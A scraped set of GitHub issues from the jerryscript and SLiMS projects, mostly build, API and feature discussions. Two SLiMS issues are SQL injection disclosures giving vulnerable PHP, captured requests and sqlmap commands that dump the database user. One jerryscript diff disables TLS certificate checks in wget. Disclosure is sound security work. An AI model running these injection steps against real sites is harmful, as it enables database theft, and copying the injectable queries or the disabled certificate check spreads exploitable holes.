| Merge eval_dev branch to master | https://api.github.com/repos/jerryscript-project/jerryscript/issues/21/comments | 3 | 2015-05-07T07:53:16Z | 2015-05-13T13:18:30Z | https://github.com/jerryscript-project/jerryscript/issues/21 | 73,885,245 | 21 |
[
"jerryscript-project",
"jerryscript"
] | Hello.
Currently, prerequisites.sh uses 'make -j' to build cppcheck and vera++.
This can be too resource consuming.
To give control about the make options, we can pass "-j" flag in make command line only if it is passed to make instance, calling the script (MAKEFLAGS environment variable, created by make, can be used for this).
| Make flags in prerequisites setup script | https://api.github.com/repos/jerryscript-project/jerryscript/issues/19/comments | 4 | 2015-05-06T11:10:00Z | 2016-02-11T13:56:59Z | https://github.com/jerryscript-project/jerryscript/issues/19 | 73,591,203 | 19 |
[
"jerryscript-project",
"jerryscript"
] | Current version of `jerry_api_set_object_free_callback()` takes two parameter
- pointer to object
- function pointer to callback.
The prototype of callback is like this:
```
typedef void (*jerry_object_free_callback_t) (const uintptr_t native_p);
```
I think it's confusing that the callback takes native pointer as its parameter, since, at least i thought, there are no link connecting the `native_p` to something in this set of API.
Actually we need to set the native pointer using separate API named `jerry_api_set_object_native_handle()` to get it work. I think it's inconsistent. To make it consistent, I think, `jerry_set_object_free_callback()` should take one more parameter type of native pointer. or the callback function should take `jerry_api_object_t*` that is being destroyed and then we can access native pointer using `jerry_api_get_object_native_handle()`.
| Jerry API: free callback | https://api.github.com/repos/jerryscript-project/jerryscript/issues/17/comments | 17 | 2015-05-06T06:44:54Z | 2016-11-25T06:26:24Z | https://github.com/jerryscript-project/jerryscript/issues/17 | 73,533,502 | 17 |
[
"jerryscript-project",
"jerryscript"
] | two changes are needed for behind firewalls
```
--- a/tools/prerequisites.sh
+++ b/tools/prerequisites.sh
@@ -211,7 +211,7 @@ function setup_vera() {
return 0
fi
- wget -O "$TMP_DIR/$NAME.tar.gz" "$URL" || fail_msg "$FAIL_MSG. Cannot download '$URL' archive."
+ wget --no-check-certificate -O "$TMP_DIR/$NAME.tar.gz" "$URL" || fail_msg "$FAIL_MSG. Cannot download '$URL' archive."
echo "$CHECKSUM $TMP_DIR/$NAME.tar.gz" | sha256sum --check --strict || fail_msg "$FAIL_MSG. Archive's checksum doesn't match."
@@ -246,7 +246,7 @@ setup_from_zip "stm32f4" \
setup_nuttx_headers "nuttx" \
"./third-party/nuttx" \
- "git://git.code.sf.net/p/nuttx/git" \
+ "http://git.code.sf.net/p/nuttx/git" \
"36a655eddec29754cc93631b6083fe6409817861"
setup_cppcheck "cppcheck-1.66" \
```
| prerequisites needs fix for behind firewalls | https://api.github.com/repos/jerryscript-project/jerryscript/issues/16/comments | 0 | 2015-05-06T01:09:19Z | 2015-05-08T13:34:15Z | https://github.com/jerryscript-project/jerryscript/issues/16 | 73,479,268 | 16 |
[
"jerryscript-project",
"jerryscript"
] | Hello.
We could add check for correctness of Signed-off-by tag into tools/precommit.sh.
For example, we could check, that the tag is placed at last line of commit message and is composed of exactly the following three parts, splitted by space character: common prefix, name and e-mail of the commit's author.
| Signed-off-by checker in precommit testing script | https://api.github.com/repos/jerryscript-project/jerryscript/issues/15/comments | 3 | 2015-05-05T18:45:46Z | 2015-05-14T16:09:42Z | https://github.com/jerryscript-project/jerryscript/issues/15 | 73,396,748 | 15 |
[
"jerryscript-project",
"jerryscript"
] | This issue is for all works required from [IoT.js](https://github.com/Samsung/iotjs).
The list of requirements is in https://github.com/Samsung/iotjs/issues/3
- [x] arguments #102
- [x] Object.create #209
- [x] Object.keys #124
- [x] Function.prototype.apply #163
- [x] String.prototype.slice #138
Complete ECMA262 Array builtin object. https://github.com/Samsung/jerryscript/issues/3
- [x] Array.prototype.slice #78
- [x] Array.prototype.push #7
- [x] Array.prototype.shift #24
- [x] Array.isArray
| Requirements from IoT.js | https://api.github.com/repos/jerryscript-project/jerryscript/issues/6/comments | 3 | 2015-04-29T03:52:03Z | 2016-11-25T06:26:24Z | https://github.com/jerryscript-project/jerryscript/issues/6 | 71,770,709 | 6 |
[
"jerryscript-project",
"jerryscript"
] | Object free callback needs to disable API calls while in execution.
Simple flag, in global, will do.
| disable API calls for 'object free callback' | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4/comments | 6 | 2015-04-28T09:58:57Z | 2015-05-01T11:25:16Z | https://github.com/jerryscript-project/jerryscript/issues/4 | 71,541,651 | 4 |
[
"jerryscript-project",
"jerryscript"
] | JerryScript Engine support Array builtin object but very limited.
The relevant specification is [ECMA262 15.4](http://www.ecma-international.org/ecma-262/5.1/#sec-15.4)
We need to get it to be done.
Required method/properties:
- [x] Array(..)
- [x] new Array(..)
- [x] Array.prototype
- [x] Array.isArray(..)
- [x] Array.prototype.concat(..) #98
- [x] Array.prototype.every(..) #84
- [x] Array.prototype.filter(..) #89
- [x] Array.prototype.forEach(..) #39
- [x] Array.prototype.indexOf(..) #26
- [x] Array.prototype.join(..) #38
- [x] Array.prototype.lastIndexOf(..) #77
- [x] Array.prototype.map(..) #135
- [x] Array.prototype.pop(..) #22
- [x] Array.prototype.push(..) #7
- [x] Array.prototype.reduce(..) #104
- [x] Array.prototype.reduceRight(..) #105
- [x] Array.prototype.reverse(..) #90
- [x] Array.prototype.shift(..) #24
- [x] Array.prototype.slice(..) #78
- [x] Array.prototype.some(..) #85
- [x] Array.prototype.sort(..) #95
- [x] Array.prototype.splice(..) #86
- [x] Array.prototype.toLocaleString(..) #96
- [x] Array.prototype.toString(..) #36
- [x] Array.prototype.unshift(..) #25
| Implement ECMA262 Array builtin object. | https://api.github.com/repos/jerryscript-project/jerryscript/issues/3/comments | 4 | 2015-04-28T07:50:13Z | 2016-11-25T06:26:24Z | https://github.com/jerryscript-project/jerryscript/issues/3 | 71,514,653 | 3 |
[
"jerryscript-project",
"jerryscript"
] | I'm adding this issue to discuss in open so may help others to understand and join (to the issues)
Codes can be efficient if some native function is called when JS Object is garbage collected so that some block of memory linked to that Object can be freed. Something like MakeWeak in V8.
API something like this;
```
typedef bool (*jerry_object_free_callback_t) (const jerry_api_object_t* obj);
bool jerry_api_set_objectfreecb(jerryt_api_object_t* obj, jerry_object_free_callback_t handler_p);
```
| native callback with object gc | https://api.github.com/repos/jerryscript-project/jerryscript/issues/2/comments | 2 | 2015-04-28T02:59:42Z | 2015-05-06T02:01:02Z | https://github.com/jerryscript-project/jerryscript/issues/2 | 71,463,212 | 2 |
[
"jerryscript-project",
"jerryscript"
] | Hi,
I'm adding this issue as a todo item to support arm-linux and with maybe add other architecture-platform easier. And as there is no issue, I want to start with this not-urgent one.
- platforms that we can support: linux, nuttx, darwin, ...
- architectures: armv7, armv6, i686, x86_64, ...
- type: debug, release, ...
- mods: cp cp_minimal, mem_stats, ...
- boards (maybe for embedded): stm32f3, stm32f4, ...
| Makefile support ARM linux | https://api.github.com/repos/jerryscript-project/jerryscript/issues/1/comments | 9 | 2015-04-28T02:27:48Z | 2016-11-25T06:26:24Z | https://github.com/jerryscript-project/jerryscript/issues/1 | 71,458,363 | 1 |
[
"slims",
"slims9_bulian"
] | Looking to see if SLIMS might be a good fit for a small private school in France. I see the multiple translations but not yet in French. Just wondering if anyone is currently working on that? I'm not a native speaker unfortunately. | Any idea if a French translation is currently in the works? | https://api.github.com/repos/slims/slims9_bulian/issues/248/comments | 2 | 2024-07-25T10:10:48Z | 2024-07-27T21:56:13Z | https://github.com/slims/slims9_bulian/issues/248 | 2,429,574,639 | 248 |
[
"slims",
"slims9_bulian"
] | https://github.com/slims/slims9_bulian/blob/f5eb6f886d368e8fbd98f30b53fb8ce639ebf6c1/sysconfig.inc.php#L357
Reference : https://en.wikipedia.org/wiki/Matroska
Also include these modern day formats ( especially the media types, like webm etc. ) :
https://help.figshare.com/article/file-formats-supported-for-in-browser-viewing
Thanks a lot. | .mvk to be changed to .mkv on this line | https://api.github.com/repos/slims/slims9_bulian/issues/247/comments | 0 | 2024-06-17T04:18:22Z | 2024-07-13T00:22:09Z | https://github.com/slims/slims9_bulian/issues/247 | 2,356,322,012 | 247 |
[
"slims",
"slims9_bulian"
] | Presently there are Title, ISBN/ISSN, Copies, and Last Update fields on Bibliography List Page.
We can sort the data (Ascending/Descending) only through these fields.
It is requested for either
(1) adding field Item_Code field in Bibliography List Page
OR
(2) replacing the Copies field with Item_Code field
as the Item_Code field is more familiar for me to view the sorted data.
Thanks. | Request for adding Item_Code field in Bibliography List Page for viewing Sorted data using this field | https://api.github.com/repos/slims/slims9_bulian/issues/246/comments | 2 | 2024-06-15T06:35:14Z | 2024-06-16T00:07:18Z | https://github.com/slims/slims9_bulian/issues/246 | 2,354,591,502 | 246 |
[
"slims",
"slims9_bulian"
] | **Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Desktop (please complete the following information):**
- OS: [e.g. iOS]
- Browser [e.g. chrome, safari]
- Version [e.g. 22]
**Smartphone (please complete the following information):**
- Device: [e.g. iPhone6]
- OS: [e.g. iOS8.1]
- Browser [e.g. stock browser, safari]
- Version [e.g. 22]
**Additional context**
Add any other context about the problem here.
| tidak bisa menambahakan penerbit baru dan klasifikasi di slims 9 | https://api.github.com/repos/slims/slims9_bulian/issues/245/comments | 3 | 2024-06-11T01:12:45Z | 2024-06-16T00:31:37Z | https://github.com/slims/slims9_bulian/issues/245 | 2,345,119,759 | 245 |
[
"slims",
"slims9_bulian"
] | New Items count can't working when setting in customize theme.
Please change function getLatest{} from Api
- change $limit = 6 to $limit = $this->sysconf['template']['classic_new_collection_item'];
| New Items count can't working when setting in customize theme. | https://api.github.com/repos/slims/slims9_bulian/issues/244/comments | 0 | 2024-06-06T03:49:44Z | 2024-06-06T03:49:44Z | https://github.com/slims/slims9_bulian/issues/244 | 2,337,250,643 | 244 |
[
"slims",
"slims9_bulian"
] | I got error Visitor Counter after upgraded SLIMS 9.5.2 to 9.6.1
is there anyone can help?
![Error 500 Counter Slims](https://github.com/slims/slims9_bulian/assets/41410908/6c34dce9-28d5-42c7-b316-600a304b682e)
| SLIMS 9.6.1 Error 500 Visitor Counter URL : /admin/modules/reporting/customs/visitor_list.php | https://api.github.com/repos/slims/slims9_bulian/issues/243/comments | 3 | 2024-06-04T07:49:45Z | 2024-06-13T22:18:45Z | https://github.com/slims/slims9_bulian/issues/243 | 2,332,806,404 | 243 |
[
"slims",
"slims9_bulian"
] | It happened suddenly after using it several times, dont know how to replicate it exacly.
Im using develop branch
**Desktop (please complete the following information):**
- OS: Windows 11
- Browser Edge | Undefined Variable $language_select in login page | https://api.github.com/repos/slims/slims9_bulian/issues/242/comments | 1 | 2024-06-02T13:38:28Z | 2024-06-11T08:29:18Z | https://github.com/slims/slims9_bulian/issues/242 | 2,329,662,992 | 242 |
[
"slims",
"slims9_bulian"
] | Hi,
I am currently trying to import a file into the library and I get an error that it is deprecated, I cannot activate it, what can I do to import:
Deprecated: Creating the dynamic property SLiMS\Csv\Reader::$standart is deprecated in /home2/colegi20/public_html/biblioteca/lib/Csv/Reader.php on line 25
[senayan_item_export (1).csv](https://github.com/slims/slims9_bulian/files/15404882/senayan_item_export.1.csv)
![captura importar](https://github.com/slims/slims9_bulian/assets/170543370/51673f6f-5fb2-4504-a56f-71f08e9b1598)
I hope you can help me solve it
| Error al importar | https://api.github.com/repos/slims/slims9_bulian/issues/241/comments | 3 | 2024-05-22T14:37:19Z | 2024-05-25T01:18:38Z | https://github.com/slims/slims9_bulian/issues/241 | 2,310,725,992 | 241 |
[
"slims",
"slims9_bulian"
] | I would like to contribute my efforts over the enhancement of PSLIMS and the slims.web.id website. So, I have sent you two emails, yesterday and the day before yesterday. Please check the same and let me know your feedback. Thanks. | Kindly respond to the e-mails sent to your official[at]slims[dot]web[dot]id from my e-mail id Nathan Sr <cquickcal[at]gmail[dot]com> | https://api.github.com/repos/slims/slims9_bulian/issues/240/comments | 2 | 2024-05-22T01:24:53Z | 2024-05-23T02:18:33Z | https://github.com/slims/slims9_bulian/issues/240 | 2,309,388,874 | 240 |
[
"slims",
"slims9_bulian"
] | Hi, Thanks for the wonderful SLiMS Software.
Currently, in both v9.6.1 and the develop version, I find that, we need to add a * character, after a partial word search in bibliography, to fetch results, in the Librarian / Admin Login.
The OPAC search does not have this requirement and works well, fetching all records, that matches, partially too. Looks like, It is adding * OR % symbols automatically, before & after our keywords.
So, please make the Librarian's Bibliographic Search, equally powerful ! Thanks. | Making Wildcard Search the default in Bibliography | https://api.github.com/repos/slims/slims9_bulian/issues/239/comments | 4 | 2024-05-18T05:01:32Z | 2024-07-13T00:23:19Z | https://github.com/slims/slims9_bulian/issues/239 | 2,303,854,107 | 239 |
[
"slims",
"slims9_bulian"
] | Currently, on both SLiMS v9.6.1 & the Develop Branch, we can set the "Email Sender Address" & the "Email Sender Label" and then clicking the "Save Settings" button, automatically sets the "reply_to" & "reply_to_name" to the same values.
However, this is limiting us from setting a different reply-to address ( i.e. designate a different librarian to handle all the replies ).
Kindly consider adding these fields on the GUI Form as well. Thanks.
Best Regards,
Nathan S.R.
| Need a GUI Facility for changing the "reply_to" and "reply_to_name" as well, on the "System" -> "E-Mail Setting" Form | https://api.github.com/repos/slims/slims9_bulian/issues/238/comments | 0 | 2024-05-13T06:27:15Z | 2024-07-13T00:22:22Z | https://github.com/slims/slims9_bulian/issues/238 | 2,291,933,372 | 238 |
[
"slims",
"slims9_bulian"
] |
![error slims](https://github.com/slims/slims9_bulian/assets/99739155/60a0f3ad-1074-4c49-a02f-d3d92b11ca6a)
kira kira, apa yaa permasalahannya? tolong bantuannya teman2.. | Error saat mencoba login admin | https://api.github.com/repos/slims/slims9_bulian/issues/237/comments | 1 | 2024-05-12T02:53:38Z | 2024-08-01T17:21:13Z | https://github.com/slims/slims9_bulian/issues/237 | 2,291,141,827 | 237 |
[
"slims",
"slims9_bulian"
] | First of all, Thank you very much for the wonderful SLiMS software. It is very helpful.
Secondly, one of my team members reported an issue in the Librarian Login.
He saw an incomplete error message.
I fixed it in the following ways :
1. Changed env to development from production in the config/env.php file
2. This revealed more detailed error message, after logging in :
Error : last_login_ip too long at row 1
3. I took a mysqldump of the database and noticed _ip field name existing in 3 tables, with maximum length at 20 / 15 characters, respectively.
4. I altered all the 3 tables, with the SQL given below :
```
alter TABLE `user` MODIFY `last_login_ip` varchar(80) COLLATE utf8_unicode_ci DEFAULT NULL;
alter TABLE `member` MODIFY `last_login_ip` varchar(80) COLLATE utf8_unicode_ci DEFAULT NULL;
alter TABLE `files_read` MODIFY `client_ip` varchar(80) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL;
```
5. I asked Google Gemini about the maximum possible IPV6 address length and this is what it had to say : https://gemini.google.com/share/c218a4523b05
6. Also, my team member's IPV6 address at that time was : `fe80::8c6:46ac:7d64:1947%enp0s3`
7. After executing the alter table commands above, my team member was able to successfully login, without any errors.
Hope, this information is helpful for both the users and the development team. Thanks.
Best Regards,
Nathan S.R.
| Maximum possible length of an IPv6 address, expressed in human-readable form, is 39 characters | https://api.github.com/repos/slims/slims9_bulian/issues/236/comments | 5 | 2024-05-09T19:53:07Z | 2024-05-10T11:53:53Z | https://github.com/slims/slims9_bulian/issues/236 | 2,288,351,979 | 236 |
[
"slims",
"slims9_bulian"
] | testing issue | Test Issue | https://api.github.com/repos/slims/slims9_bulian/issues/234/comments | 0 | 2024-05-02T08:22:50Z | 2024-05-02T08:39:40Z | https://github.com/slims/slims9_bulian/issues/234 | 2,274,906,931 | 234 |
[
"slims",
"slims9_bulian"
] | I am failing to add a new system user or librarian in a new installation using softaculous. The system does not return any error, it just will not save. | Cannot add new system user or librarian | https://api.github.com/repos/slims/slims9_bulian/issues/233/comments | 2 | 2024-04-24T00:10:44Z | 2024-07-13T00:23:51Z | https://github.com/slims/slims9_bulian/issues/233 | 2,259,979,707 | 233 |
[
"slims",
"slims9_bulian"
] | Still missing when i using slims bulian 9.6.1 with akasia theme. I just fixing this adding this file to /template/core.style.css
_Originally posted by @nugraha-a in https://github.com/slims/slims9_bulian/pull/151#pullrequestreview-1878162977_
| Still missing /template/core.style.css when i using slims bulian 9.6.1 with akasia theme. I just fixing this adding this file to /template/core.style.css | https://api.github.com/repos/slims/slims9_bulian/issues/232/comments | 0 | 2024-02-13T14:51:48Z | 2024-02-17T17:49:15Z | https://github.com/slims/slims9_bulian/issues/232 | 2,132,506,880 | 232 |
[
"slims",
"slims9_bulian"
] | Saya install Slims 9 di cpanel, ketika saya klik **Add New Bibliography**
![image](https://github.com/slims/slims9_bulian/assets/103615228/bffbdf3f-ec81-44f6-969a-47f32039acdb)
ketika saya ubah ke **development**
![image](https://github.com/slims/slims9_bulian/assets/103615228/b5b36bdc-f65c-48cc-bcf2-1c026db92551)
muncul nya malah jadi error
![image](https://github.com/slims/slims9_bulian/assets/103615228/2d8b094e-5a0f-4e57-b893-4d9b0fd248a5)
mohon bantuan nya | Please contact system admin or change system environment to development at system module for more information about this error. | https://api.github.com/repos/slims/slims9_bulian/issues/231/comments | 2 | 2024-01-31T04:16:31Z | 2024-02-02T13:54:12Z | https://github.com/slims/slims9_bulian/issues/231 | 2,109,248,774 | 231 |
[
"slims",
"slims9_bulian"
] | Untuk update SLiMS 9 ini ketika ada denda dan pemustaka membayar denda tersebut, pada menu Pelaporan Denda tidak terhitung pada tanggal pemustaka membayar denda tersebut akan tetapi akan tercatat pada tanggal denda tersebut disimpan.
Mohon petunjuknya, terima kasih. | Pembayaran Denda | https://api.github.com/repos/slims/slims9_bulian/issues/230/comments | 2 | 2024-01-22T08:01:15Z | 2024-03-15T02:12:11Z | https://github.com/slims/slims9_bulian/issues/230 | 2,093,311,419 | 230 |
[
"slims",
"slims9_bulian"
] | ## The Bug
A SQL Injection exists in `admin/modules/master_file/pop_scope_vocabolary.php` at the code below
```php
$itemID = (integer)isset($_GET['itemID'])?$_GET['itemID']:0;
if (isset($_POST['save'])) {
$data['topic_id'] = (integer)$_POST['topic_id'];
$data['scope'] = trim($dbs->escape_string(strip_tags($_POST['scope'])));
$sql_op = new simbio_dbop($dbs);
if (!empty($_POST['vocabolary_id'])) {
$save = $sql_op->update('mst_voc_ctrl', $data, 'vocabolary_id='.$_POST['vocabolary_id']);
} else {
$save = $sql_op->insert('mst_voc_ctrl', $data);
}
if (isset($_POST['delete'])) {
$save = $sql_op->delete('mst_voc_ctrl', 'vocabolary_id='.$_POST['vocabolary_id']);
}
if ($save) {
$alert_save = '<script type="text/javascript">';
$alert_save .= 'alert(\''.__('Data saved!').'\');';
$alert_save .= 'parent.setIframeContent(\'itemIframe\', \''.MWB.'master_file/iframe_vocabolary_control.php?itemID='.$data['topic_id'].'\');';
$alert_save .= 'top.jQuery.colorbox.close();';
$alert_save .= '</script>';
echo $alert_save;
} else {
toastr(__('Failed to save data!'))->error();
}
```
With the involvement of the method `update` at `simbio2/simbio_DB/simbio_dbop.inc.php`
**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to `master_file/pop_scope_vocabolary.php`
2. Make sure the burp is on to capture the request as below
```
POST /slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php HTTP/1.1
Host: localhost
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=eel0fokbtsis2d1ghr4cq85hf7; admin_logged_in=1; SenayanMember=cko77re8044fbri0k2qanf1dkv
Connection: close
scope=TEST&topic_id=0&vocabolary_id=&save=Save
```
3. Save the request into a file (for_sqlmap.req)
4. Run the test with sqlmap with the command
```bash
PHASE 1:
sqlmap -r for_sqlmap.req --dbms=mysql -p vocabolary_id --current-user
PHASE 2:
sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --random-agent
PHASE 3:
sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --user-agent --technique=TB
```
5. Both PHASE 1 provide a list of what SQL Injection may available in the code, then PHASE 2 further more explain the SQL Injection Type, which is Time-based Blink SQL Injection as the image below:
![image](https://github.com/slims/slims9_bulian/assets/143168734/b51a9f94-6a64-4c66-8609-8bc4d0510ec4)
6. PHASE 3, will give us a proof-of-concept of the current user
### Files
**for_sqlmap.req**
```
POST /slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php HTTP/1.1
Host: localhost
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=eel0fokbtsis2d1ghr4cq85hf7; admin_logged_in=1; SenayanMember=cko77re8044fbri0k2qanf1dkv
Connection: close
scope=TEST&topic_id=0&vocabolary_id=&save=Save
```
### Screenshot
**proof-of-concept of current user**
```payload:
sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --user-agent --technique=TB
```
![image](https://github.com/slims/slims9_bulian/assets/143168734/e5936470-d853-493c-9254-5e8067efea73)
**Versions**
- OS: Windows
- Browser: Firefox | 116.0.3 (64-bit)
- Slims Version: slims9_bulian-9.6.1
## Notes | Vuln0wned Report: SQL Injection in pop-scope-vocabolary.php | https://api.github.com/repos/slims/slims9_bulian/issues/229/comments | 0 | 2024-01-19T17:44:02Z | 2024-01-20T07:12:29Z | https://github.com/slims/slims9_bulian/issues/229 | 2,091,005,446 | 229 |
[
"slims",
"slims9_bulian"
] | Bagaimana mengatasi masalah semua user selain super admin tidak dapat mengakses sirkulasi(padahal pada menu hak akses telah diberikan pada modul ini) dengan informasi kegagalan seperti dibawah ini
Peringatan
Tidak tersedia interaksi dengan modul ini. Hubungi administrator sistem untuk mengatur akses yang diperlukan.
| Peringatan Tidak tersedia interaksi dengan modul ini. Hubungi administrator sistem untuk mengatur akses yang diperlukan. | https://api.github.com/repos/slims/slims9_bulian/issues/228/comments | 1 | 2024-01-06T16:03:16Z | 2024-05-21T06:27:34Z | https://github.com/slims/slims9_bulian/issues/228 | 2,068,700,521 | 228 |
[
"slims",
"slims9_bulian"
] | Ada yang pernah error kah saat install Slims terbaru : Access denied for user ''@'localhost' (using password: NO) padahal di halaman sebelum page 1, testing connection ke DB sudah berhasil | Install Slim error di 2 of 2 | https://api.github.com/repos/slims/slims9_bulian/issues/227/comments | 1 | 2024-01-05T18:40:52Z | 2024-01-10T07:16:27Z | https://github.com/slims/slims9_bulian/issues/227 | 2,067,866,694 | 227 |
[
"slims",
"slims9_bulian"
] | Recently I was trying to bulk update items (exemplar) using Item Import feature but to no avail as it results in Mysql error (Duplicate Entry).
Since there are hundreds of data to update, I think it would be better using a bulk update feature instead of doing it one by one. Please consider making a plugin or menu to anticipate such requirement. | Please add a feature to bulk update items/biblio data | https://api.github.com/repos/slims/slims9_bulian/issues/226/comments | 0 | 2023-12-20T07:22:01Z | 2023-12-20T07:25:37Z | https://github.com/slims/slims9_bulian/issues/226 | 2,049,982,112 | 226 |
[
"slims",
"slims9_bulian"
] | Something that I think a lot of people might fancy is that the circulation Ui like you put it the name then you can put in the book should be in the same text box so it's easier and more user friendly just to scan and not have to use the mouse a lot if they have a barcode scanner plus when you put in the user it can show how many books they can borrow there photo and stuff like that I hope this is something you consider here's an example.
![Example](https://github.com/slims/slims9_bulian/assets/133310594/a4a543be-a016-4ddb-b923-a3ffa67cf9d0)
| Circulation feature | https://api.github.com/repos/slims/slims9_bulian/issues/225/comments | 0 | 2023-12-18T08:56:26Z | 2023-12-18T08:59:01Z | https://github.com/slims/slims9_bulian/issues/225 | 2,046,082,984 | 225 |
[
"slims",
"slims9_bulian"
] | I have problems. when I input books data into the slims bibliography section. Then I save the data. The author's name in bibliographi increases automatically. for example, I will enter data for book "A" which has one author when I save and I see list in bibliographi. The book "A" become two authors. So, how to solve this problem?
Information :
- Slims version 9 Bulian 9.42
- Xampp control v3.2.4
- Operating System Windows 10 64 bit
- Browser Google Chrome, Mozilla Firefox
| The author's name in bibliographi increases automatically | https://api.github.com/repos/slims/slims9_bulian/issues/224/comments | 1 | 2023-12-13T13:38:58Z | 2023-12-20T02:51:58Z | https://github.com/slims/slims9_bulian/issues/224 | 2,039,735,516 | 224 |
[
"slims",
"slims9_bulian"
] | bagaimana cara saya mengatasi http 500 internal server error di halaman logout slims 9.6.1 ?
![Screen Shot 2023-11-30 at 14 44 07](https://github.com/slims/slims9_bulian/assets/12820160/f2426f4a-e6ae-4329-ad76-c9a36043900c)
saya sudah menggunakan versi lainnya juga sama.
serta saya test clean install di menggunakan MAMP di localhost maupun di hosting tetap sama. | Error 500 saat logout anggota | https://api.github.com/repos/slims/slims9_bulian/issues/223/comments | 3 | 2023-11-30T07:48:43Z | 2023-12-25T05:42:31Z | https://github.com/slims/slims9_bulian/issues/223 | 2,018,070,096 | 223 |
[
"slims",
"slims9_bulian"
] | Mistake with is empty condition in following line:
https://github.com/slims/slims9_bulian/blob/ce0afea598cf9a81974b3ea5d150534337b7b695/admin/modules/bibliography/import.php#L253
Correct should be checking if `$subjects` is empty in that part. | admin/modules/import: Wrong attribute in chekc if empty condition | https://api.github.com/repos/slims/slims9_bulian/issues/221/comments | 0 | 2023-11-23T21:43:03Z | 2023-11-23T21:43:03Z | https://github.com/slims/slims9_bulian/issues/221 | 2,008,816,593 | 221 |
[
"slims",
"slims9_bulian"
] | Saat melihat daftar anggota secara keseluruhan tidak muncul list nya, tapi saat diketik nama nya baru muncul,
untuk anggota kadauarsa masih bisa dilihat secara keseluruhan.
mohon solusinya.
![problem slims](https://github.com/slims/slims9_bulian/assets/150978597/aa6b6fc6-809d-4650-83f3-c573a84e7931)
| daftar nama anggota slims 9 bulian tidak muncul | https://api.github.com/repos/slims/slims9_bulian/issues/220/comments | 1 | 2023-11-16T00:51:18Z | 2023-12-25T05:44:22Z | https://github.com/slims/slims9_bulian/issues/220 | 1,995,835,703 | 220 |
[
"slims",
"slims9_bulian"
] | Every time I try to login with the admin credentials the log in the database shows that I have logged in successfully, but I get the error "You are not authorized to view this section" and cannot access the dashboard. running on shared hosting. | You are not authorized to view this section | https://api.github.com/repos/slims/slims9_bulian/issues/219/comments | 0 | 2023-11-14T22:14:43Z | 2023-11-14T22:14:43Z | https://github.com/slims/slims9_bulian/issues/219 | 1,993,660,381 | 219 |
[
"slims",
"slims9_bulian"
] | **Describe the bug**
A SQL Injection exists in admin/modules/reporting/customs/fines_report.php at the code below
```php
$selected_year = date('Y');
if (isset($_GET['year']) AND !empty($_GET['year'])) {
$selected_year = (integer)$_GET['year'];
}
// month
$selected_month = date('m');
if (isset($_GET['month']) AND !empty($_GET['month'])) {
$selected_month = $_GET['month'];
}
// query fines data to database
// echo "SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal`, `fines_id` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`";
$_fines_q = $dbs->query("SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`");
while ($_fines_d = $_fines_q->fetch_row()) {
$date = (integer)preg_replace('@^0+@i', '',$_fines_d[0]);
$fines_data[$date] = '<div class="data"><a href="'.AWB.'modules/reporting/customs/member_fines_list.php?reportView=true&singleDate=true&finesDate='.$selected_year.'-'.$selected_month.'-'.$date.'" class="notAJAX openPopUp" width="800" height="600" title="'.__('Member Fines List').'">'.currency($_fines_d[1]?:'0').'</a></div>';
}
// generate calendar
$output = simbio_date::generateCalendar($selected_year, $selected_month, $fines_data);
// print out
echo '<div class="mb-2">'.__('Fines count report for').' <strong>'.$months[$selected_month].', '.$selected_year.'</strong> <a class="s-btn btn btn-default printReport" onclick="window.print()" href="#">'.__('Print Current Page').'</a></div>'."\n";
echo $output;
```
**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to reportings/fines report
2. make sure burp suit is on to capture the request such as below:
3. save the request into a file (bredel.req)
4. run the test with sqlmao with the command `sqlmap -r bredel.req --level 5 --risk 3 -p month --dbms=mysql --current-user`
**Proof-of-Concept**
<img width="1440" alt="image" src="https://github.com/slims/slims9_bulian/assets/116742485/b09cb45d-610f-4880-a180-b6398f3b3fc7">
**bredel.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/fines_report.php?year=2020&month=06&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
